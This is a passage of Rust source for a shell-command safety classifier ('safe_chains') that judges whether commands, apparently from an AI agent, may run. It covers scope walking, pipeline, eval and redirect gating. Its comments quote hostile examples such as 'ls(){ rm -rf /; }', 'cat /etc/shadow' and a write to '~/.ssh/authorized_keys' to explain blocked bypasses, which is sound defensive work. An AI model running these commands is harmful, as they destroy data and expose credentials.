Skip to main content

safe_chains/cst/
check.rs

1pub(crate) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3use super::cwd_flow::{Cwd, CwdFlow, statement_flow};
4pub(crate) use super::functions::names_a_function;
5use super::functions::{FuncScope, define_function};
6pub(super) use super::functions::{forget_poisoned_functions, lookup_function, poison_function};
7pub(super) use super::scope_budget::scope_budget_spent;
8use super::scope_budget::{ScopeWalk, UNCERTAIN_VALUE, rebind_uncertain};
9use super::*;
10use crate::parse::Token;
11use crate::verdict::{SafetyLevel, Verdict};
12use crate::{handlers, pathctx::judging};
13
14pub fn command_verdict(input: &str) -> Verdict {
15    let _rules = crate::allowlist::suspended();
16    let Some(_guard) = ClassifyGuard::enter(input.len()) else {
17        return Verdict::Denied; // classification budget spent — fail closed
18    };
19    let Some(script) = parse(input) else {
20        return Verdict::Denied;
21    };
22    let verdict = script_verdict(&script);
23    if super::scope_budget::walk_untrusted() {
24        return Verdict::Denied; // shell state the walk could not track — fail closed
25    }
26    verdict
27}
28
29pub fn is_safe_command(input: &str) -> bool {
30    command_verdict(input).is_allowed()
31}
32
33pub(super) fn script_verdict(script: &Script) -> Verdict {
34    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline), Verdict::combine)
35        .into_iter()
36        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
37}
38
39/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
40/// installed, and return the per-statement results.
41///
42/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
43/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
44/// released when this returns).
45///
46/// A `cd` can fail, so what may run without it having taken effect is judged from each possible folder; `merge` folds the results.
47///
48/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
49/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
50/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
51/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
52pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T, merge: impl Fn(T, T) -> T) -> Vec<T> {
53    let (_walk, _dot_names) = (ScopeWalk::enter(), super::opaque::glob::enter_dot_names(script));
54    let _pager = super::pager_set::enter_pager_set(script);
55    let mut flow = CwdFlow::begin(crate::pathctx::cwd());
56    let (mut previous, mut ran_in): (Option<ListOp>, Vec<Cwd>) = (None, Vec::new());
57    let (mut _vars, mut _funcs): (Vec<crate::pathctx::VarGuard>, Vec<FuncScope>) = (Vec::new(), Vec::new());
58    let mut out = Vec::with_capacity(script.0.len());
59    for stmt in &script.0 {
60        let starts = flow.start(previous, &ran_in);
61        let results = starts.iter().map(|cwd| {
62            let _cwd = crate::pathctx::enter_cwd(cwd.clone());
63            per_stmt(stmt)
64        });
65        out.extend(results.reduce(&merge));
66        let effects = if scope_budget_spent() { ShellEffects { cwd: true, ..Default::default() } } else { shell_effects(&stmt.pipeline) };
67        flow = flow.then(previous, statement_flow(stmt, &effects, &starts));
68        previous = stmt.op;
69        let _cwd = crate::pathctx::enter_cwd(starts.first().cloned().flatten());
70        ran_in = starts;
71        for (name, value) in statement_assignments(&stmt.pipeline) {
72            _vars.push(crate::pathctx::enter_var(name, value));
73        }
74        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
75        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
76        // value wins for that name; a statement handled precisely contributes nothing here.
77        rebind_uncertain(effects.vars, &mut _vars);
78        for name in effects.funcs {
79            poison_function(name);
80        }
81        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
82            _funcs.push(define_function(name.clone(), body.clone()));
83        }
84    }
85    out
86}
87
88/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
89/// bound reports a possible effect, which fails closed.
90pub(super) const MAX_CD_SCAN_DEPTH: usize = 16;
91
92/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
93///
94/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
95/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
96/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
97/// precise handling matches only statement-level forms, so all of those escaped tracking:
98/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
99/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
100/// stale state is the permissive one.
101///
102/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
103/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
104#[derive(Default)]
105pub(super) struct ShellEffects {
106    pub(super) cwd: bool,
107    pub(super) vars: Vec<String>,
108    pub(super) funcs: Vec<String>,
109}
110
111/// The effects of one statement.
112fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
113    let mut out = ShellEffects::default();
114    // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
115    // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
116    // classifier's own work budget exists for. Caught by the termination guard.
117    let mut seen = Vec::new();
118    pipeline_effects(pipeline, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
119    out
120}
121
122/// A lone command's effects, or a pipeline's last stage's: zsh, and bash with `lastpipe`, run the
123/// last stage in the current shell, so `echo x | read f` may set `f`. A bare assignment or a
124/// definition there is an effect too, since `statement_assignments` binds only a lone one.
125fn pipeline_effects(pipeline: &Pipeline, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
126    let Some(last) = pipeline.commands.last() else { return };
127    if pipeline.commands.len() > 1 {
128        match last {
129            Cmd::Simple(s) if s.words.is_empty() => out.vars.extend(s.env.iter().map(|(name, _)| name.clone())),
130            Cmd::FunctionDef { name, .. } => out.funcs.push(name.clone()),
131            _ => {}
132        }
133    }
134    scan_effects(last, depth, seen, out);
135}
136
137fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
138    let Some(depth) = depth.checked_sub(1) else {
139        out.cwd = true; // out of budget — assume the worst
140        return;
141    };
142    match cmd {
143        Cmd::Simple(s) => {
144            let Some(name) = s.words.first().map(Word::eval) else {
145                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
146            };
147            out.vars.extend(super::opaque::declared_names(s));
148            if super::cd::moves_cwd(s) {
149                out.cwd = true;
150                return;
151            }
152            if !seen.contains(&name)
153                && let Some(body) = lookup_function(&name)
154            {
155                seen.push(name);
156                scan_script_effects(&body, depth, seen, out);
157            }
158        }
159        Cmd::FunctionDef { name, .. } => out.cwd |= super::cd::shadows_cd_or_time(name),
160        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } => {}
161        Cmd::BraceGroup { body, .. } => scan_script_effects(body, depth, seen, out),
162        Cmd::For { var, body, .. } => {
163            out.vars.push(var.clone());
164            scan_script_effects(body, depth, seen, out);
165        }
166        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
167            scan_script_effects(cond, depth, seen, out);
168            scan_script_effects(body, depth, seen, out);
169        }
170        Cmd::If { branches, else_body, .. } => {
171            for b in branches {
172                scan_script_effects(&b.cond, depth, seen, out);
173                scan_script_effects(&b.body, depth, seen, out);
174            }
175            if let Some(e) = else_body {
176                scan_script_effects(e, depth, seen, out);
177            }
178        }
179        Cmd::Case { arms, .. } => {
180            for a in arms {
181                scan_script_effects(&a.body, depth, seen, out);
182            }
183        }
184    }
185}
186
187/// Every statement of a body that the shell would run in the current shell: its assignments and
188/// function definitions rebind here, and its commands are scanned in turn.
189pub(super) fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
190    for st in &script.0 {
191        for (name, _) in statement_assignments(&st.pipeline) {
192            out.vars.push(name);
193        }
194        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
195            out.funcs.push(name.clone());
196        }
197        pipeline_effects(&st.pipeline, depth, seen, out);
198    }
199}
200
201/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
202/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
203/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
204/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
205fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
206    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
207        return Vec::new();
208    };
209    if !s.words.is_empty() {
210        return Vec::new();
211    }
212    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
213}
214
215/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
216/// `$refs` against the current scope first, then requires no residual `$` and no substitution
217/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
218pub(super) fn certain_value(word: &Word) -> String {
219    let text = word.eval();
220    if crate::pathctx::names_a_loop_var(&text) {
221        return UNCERTAIN_VALUE.to_string();
222    }
223    let raw = crate::pathctx::expand_vars(&text, false).into_owned();
224    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
225    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
226    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
227    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
228}
229
230/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
231/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
232/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
233pub(crate) fn is_opaque_value(raw: &str) -> bool {
234    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
235        .iter()
236        .any(|m| raw.contains(m))
237}
238
239#[cfg(test)]
240pub(crate) fn is_safe_script(script: &Script) -> bool {
241    script_verdict(script).is_allowed()
242}
243
244pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
245    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
246    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
247    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
248    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
249    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
250    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
251    let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
252    for (stage, cmd) in pipeline.commands.iter().enumerate() {
253        let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
254        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
255        items = super::opaque::stage_shape(cmd, items);
256        if stage + 1 < pipeline.commands.len() {
257            stream = Some(stage_output_repr(cmd, stream.as_deref()));
258        }
259    }
260    acc
261}
262
263/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
264/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
265/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
266/// must deny in BOTH gate layers.
267pub(super) const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
268
269/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
270/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
271/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
272/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
273pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
274    let Cmd::Simple(s) = cmd else {
275        return UNKNOWN_ITEM.to_string();
276    };
277    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
278    let Some(first) = words.first() else {
279        return UNKNOWN_ITEM.to_string();
280    };
281    let token = Token::from_raw(first.clone());
282    let name = crate::engine::resolve::invocation_name(&token).to_string();
283    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
284    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
285    match name.as_str() {
286        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
287        //
288        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on whether the read is admitted
289        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
290        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
291        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
292        // not be written, so a read-face test could never see it.
293        "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
294            let roots = find_roots(&args);
295            let base = roots
296                .iter()
297                .max_by_key(|r| {
298                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
299                    read.max(write)
300                })
301                .copied()
302                .unwrap_or(".");
303            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
304            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
305            // cat` refused while `find / -exec cat {} \;` read the same files.
306            //
307            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
308            // literal representative because the shield genuinely CAN check that one; the
309            // distinction is whether we hold the actual path or a placeholder for it.
310            crate::engine::resolve::frozen_reach::stage_item(&name, base, &args)
311        }
312        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
313        "ls" => {
314            if super::echoed::ls_prints_operands(&args) {
315                super::echoed::printed_item("ls", &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
316            } else {
317                super::echoed::ls_item(&args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
318            }
319        }
320        // echo/printf emit their args verbatim; the worst piece of them is the representative.
321        "echo" | "printf" => super::echoed::printed_item(&name, &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string()),
322        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
323        "git" => match args.first() {
324            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
325            _ => UNKNOWN_ITEM.to_string(),
326        },
327        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
328        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
329        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
330        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
331        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
332        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
333        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
334        "tee" => through(),
335        _ => UNKNOWN_ITEM.to_string(),
336    }
337}
338
339/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
340/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
341/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
342/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
343/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
344fn reads_a_file(args: &[&str]) -> bool {
345    args.iter()
346        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
347}
348
349/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
350/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
351fn reads_a_file_after_count(args: &[&str]) -> bool {
352    let mut i = 0;
353    while i < args.len() {
354        let a = args[i];
355        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
356            i += 2; // flag + its value
357            continue;
358        }
359        if a.starts_with('-') || a == "-" {
360            i += 1;
361            continue;
362        }
363        return true; // a bare positional → a file operand
364    }
365    false
366}
367
368/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
369/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
370fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
371    let mut i = 0;
372    while i < args.len() {
373        match args[i] {
374            "-H" | "-L" | "-P" => i += 1,
375            "-D" | "-O" => i += 2,
376            _ => break,
377        }
378    }
379    let mut roots = Vec::new();
380    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
381        roots.push(args[i]);
382        i += 1;
383    }
384    if roots.is_empty() {
385        roots.push(".");
386    }
387    roots
388}
389
390pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
391    pipeline_verdict(pipeline).is_allowed()
392}
393
394pub(crate) fn has_unsafe_syntax(cmd: &SimpleCmd) -> bool {
395    !check_redirects(&cmd.redirs) || has_any_substitution(cmd)
396}
397
398fn has_any_substitution(cmd: &SimpleCmd) -> bool {
399    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
400}
401
402pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
403    match cmd {
404        Cmd::Simple(s) => crate::allowlist::with_rules(s, simple_verdict),
405        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
406            let body_v = script_verdict(body);
407            if let Verdict::Denied = body_v {
408                return Verdict::Denied;
409            }
410            let redir_v = redirect_verdict(redirs);
411            if let Verdict::Denied = redir_v {
412                return Verdict::Denied;
413            }
414            body_v.combine(redir_v)
415        }
416        Cmd::For { var, items, body, redirs } => super::loops::for_verdict(var, items, body, redirs),
417        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => super::loops::while_verdict(cond, body, redirs),
418        Cmd::If { branches, else_body, redirs } => {
419            let redir_v = redirect_verdict(redirs);
420            if let Verdict::Denied = redir_v {
421                return Verdict::Denied;
422            }
423            redir_v.combine(super::loops::if_verdict(branches, else_body.as_ref()))
424        }
425        Cmd::DoubleBracket { words, redirs } => super::arith::double_bracket_verdict(words).combine(redirect_verdict(redirs)),
426        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
427        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
428        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
429        Cmd::Case { subject, arms, redirs } => {
430            let redir_v = redirect_verdict(redirs);
431            if let Verdict::Denied = redir_v {
432                return Verdict::Denied;
433            }
434            let mut v = redir_v.combine(word_sub_verdict(subject));
435            for arm in arms {
436                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
437            }
438            v
439        }
440        Cmd::FunctionDef { name, body } => super::functions::definition_verdict(name, body),
441    }
442}
443
444pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
445    cmd_verdict(cmd).is_allowed()
446}
447
448fn part_sub_verdict(part: &WordPart) -> Verdict {
449    match part {
450        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => crate::allowlist::outside_rules(|| script_verdict(inner)),
451        WordPart::Backtick(raw) => super::escape::backtick_verdict(raw),
452        WordPart::DQuote(inner) => word_sub_verdict(inner),
453        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
454        WordPart::Arith(inner) => word_sub_verdict(inner),
455        _ => Verdict::Allowed(SafetyLevel::Inert),
456    }
457}
458
459fn word_sub_verdict(word: &Word) -> Verdict {
460    word.0.iter().map(part_sub_verdict).fold(super::arith::word_verdict(word), Verdict::combine)
461}
462
463pub(super) fn words_sub_verdict(words: &[Word]) -> Verdict {
464    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
465}
466
467#[cfg(test)]
468pub(crate) fn word_subs_safe(word: &Word) -> bool {
469    word_sub_verdict(word).is_allowed()
470}
471
472fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
473    let redir_v = redirect_verdict(&cmd.redirs);
474    if let Verdict::Denied = redir_v {
475        return Verdict::Denied;
476    }
477
478    let env_sub_v = cmd
479        .env
480        .iter()
481        .map(|(_, v)| word_sub_verdict(v))
482        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
483    let word_sub_v = words_sub_verdict(&cmd.words);
484
485    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
486    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
487    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
488    //
489    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
490    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
491    // invocation is a write even when the command word is inert. Propagating only `Denied` here
492    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
493    // spelled `touch ./x` did not.
494    let env_name_v = cmd
495        .env
496        .iter()
497        .map(|(name, value)| crate::envvars::statement_assignment_verdict(name, &value.eval(), cmd.words.is_empty()))
498        .fold(crate::envvars::rebinding_verdict(&cmd.words).combine(super::arith::command_verdict(cmd)), Verdict::combine);
499    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v).combine(super::search_quote::verdict(cmd));
500
501    if let Verdict::Denied = sub_v {
502        return Verdict::Denied;
503    }
504
505    if cmd.words.is_empty() {
506        if cmd.env.is_empty() {
507            return Verdict::Allowed(SafetyLevel::Inert);
508        }
509        return sub_v.combine(redir_v);
510    }
511
512    let name = cmd.words[0].eval();
513
514    // A function shadows everything it names, builtins like `eval` included, so it resolves first.
515    if let Some(call) = super::functions::call_verdict(cmd, &name) {
516        return sub_v.combine(call).combine(redir_v);
517    }
518
519    if name == "eval" {
520        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
521    }
522
523    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
524    // would run is classified — a braced word must not hide a system path from the gate.
525    let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
526    if words.iter().all(Vec::is_empty) {
527        return Verdict::Allowed(SafetyLevel::Inert);
528    }
529    if super::opaque::smuggles_a_flag(cmd) {
530        return Verdict::Denied;
531    }
532
533    let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
534    sub_v.combine(cmd_v).combine(redir_v)
535}
536
537fn leaf_verdict(tokens: &[Token]) -> Verdict {
538    crate::handlers::direct_script::judged(tokens, |tokens| {
539        let legacy = handlers::dispatch(tokens);
540        super::netargs::with_egress(tokens, crate::engine::bridge::gated_engine_verdict(tokens).unwrap_or(legacy))
541    })
542}
543
544fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
545    if cmd.words.len() < 2 {
546        return Verdict::Denied;
547    }
548    for arg in &cmd.words[1..] {
549        if !arg_is_eval_safe(arg) {
550            return Verdict::Denied;
551        }
552    }
553    Verdict::Allowed(SafetyLevel::Inert)
554}
555
556fn arg_is_eval_safe(word: &Word) -> bool {
557    let mut found_safe = false;
558    for part in &word.0 {
559        match part {
560            WordPart::Lit(s) | WordPart::SQuote(s) => {
561                if !s.chars().all(char::is_whitespace) {
562                    return false;
563                }
564            }
565            WordPart::Escape(c) => {
566                if !c.is_whitespace() {
567                    return false;
568                }
569            }
570            WordPart::CmdSub(script) => {
571                if !script_yields_eval_safe(script) {
572                    return false;
573                }
574                found_safe = true;
575            }
576            WordPart::Backtick(raw) => {
577                let Some(script) = super::escape::parse_backtick(raw) else {
578                    return false;
579                };
580                if !script_yields_eval_safe(&script) {
581                    return false;
582                }
583                found_safe = true;
584            }
585            WordPart::DQuote(inner) => {
586                if !arg_is_eval_safe(inner) {
587                    return false;
588                }
589                if has_substitution(inner) {
590                    found_safe = true;
591                }
592            }
593            WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
594        }
595    }
596    found_safe
597}
598
599fn script_yields_eval_safe(script: &Script) -> bool {
600    if script.0.len() != 1 {
601        return false;
602    }
603    let stmt = &script.0[0];
604    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
605        return false;
606    }
607    let pipeline = &stmt.pipeline;
608    if pipeline.bang || pipeline.commands.len() != 1 {
609        return false;
610    }
611    let Cmd::Simple(s) = &pipeline.commands[0] else {
612        return false;
613    };
614    if !s.env.is_empty() {
615        return false;
616    }
617    // A redirect inside the substitution is allowed only if it's inert:
618    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
619    // A redirect that writes a real file is SafeWrite, not inert, so
620    // `mise activate bash > evil` is rejected — eval-safe must not gain a
621    // file-write side effect, and diverting stdout to a file is pointless here.
622    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
623        return false;
624    }
625    for w in &s.words {
626        if !word_is_plain_literal(w) {
627            return false;
628        }
629    }
630    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
631    if tokens.is_empty() {
632        return false;
633    }
634    crate::registry::is_eval_safe_invocation(&tokens)
635}
636
637/// True iff every character of `word` is drawn from the bare-literal
638/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
639/// matching this shape consist entirely of identifier-style or
640/// path-style tokens that the shell will pass through to the
641/// substituted command unchanged at runtime.
642///
643/// Required for words inside eval-safe substitutions because the
644/// "stdout is shell-init code" trust depends on the contributor having
645/// vetted what gets passed to the tool. Restricting the alphabet to
646/// chars with no shell-expansion semantics keeps the substituted
647/// invocation static across parse-time and runtime — what you see in
648/// the source is what the tool receives.
649fn word_is_plain_literal(word: &Word) -> bool {
650    word.0.iter().all(part_is_plain_literal)
651}
652
653fn part_is_plain_literal(part: &WordPart) -> bool {
654    match part {
655        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
656        WordPart::Escape(c) => is_bare_literal_char(*c),
657        WordPart::DQuote(inner) => word_is_plain_literal(inner),
658        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
659    }
660}
661
662/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
663/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
664/// and the long-flag value form (`=`). New chars require an explicit
665/// eval-safe use case — add by extending this match, never by
666/// excluding individual hostile chars.
667fn is_bare_literal_char(c: char) -> bool {
668    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
669}
670
671/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
672/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
673///
674/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
675/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
676/// that second copy was wrong in BOTH directions:
677///
678/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
679///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
680///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
681/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
682///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
683///
684/// One model, one answer. A grant covers the command; the redirect is still gated by where it
685/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
686pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
687    redirect_verdict(redirs).is_allowed()
688}
689
690/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
691/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
692/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
693/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
694/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
695/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
696fn is_safe_write_target(path: &str) -> bool {
697    crate::engine::resolve::write_target_verdict(path).is_allowed()
698}
699
700/// The verdict for a redirect that OPENS `target` for writing. Brace sequences expand first.
701fn write_face(target: &Word) -> Verdict {
702    super::eval::judge_write(target, is_safe_write_target)
703}
704
705/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
706/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
707/// substitution-derived source names an unknowable file → fail-closed to Denied. Brace sequences
708/// expand first, and the locus is read off that expanded spelling.
709fn read_face(target: &Word) -> Verdict {
710    super::eval::judge_read(target, is_opaque_value)
711}
712
713pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
714    let mut level = Verdict::Allowed(SafetyLevel::Inert);
715    for r in redirs {
716        match r {
717            Redir::Write { target, .. } => {
718                level = level.combine(word_sub_verdict(target));
719                level = level.combine(write_face(target));
720            }
721            Redir::Read { target, .. } => {
722                level = level.combine(word_sub_verdict(target));
723                level = level.combine(read_face(target));
724            }
725            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
726            // the other face through: the write gate alone misses reading a secret, and the read
727            // gate alone misses overwriting a file that is merely readable.
728            Redir::ReadWrite { target, .. } => {
729                level = level.combine(word_sub_verdict(target));
730                level = level.combine(write_face(target));
731                level = level.combine(read_face(target));
732            }
733            Redir::HereStr(word) => {
734                level = level.combine(word_sub_verdict(word));
735            }
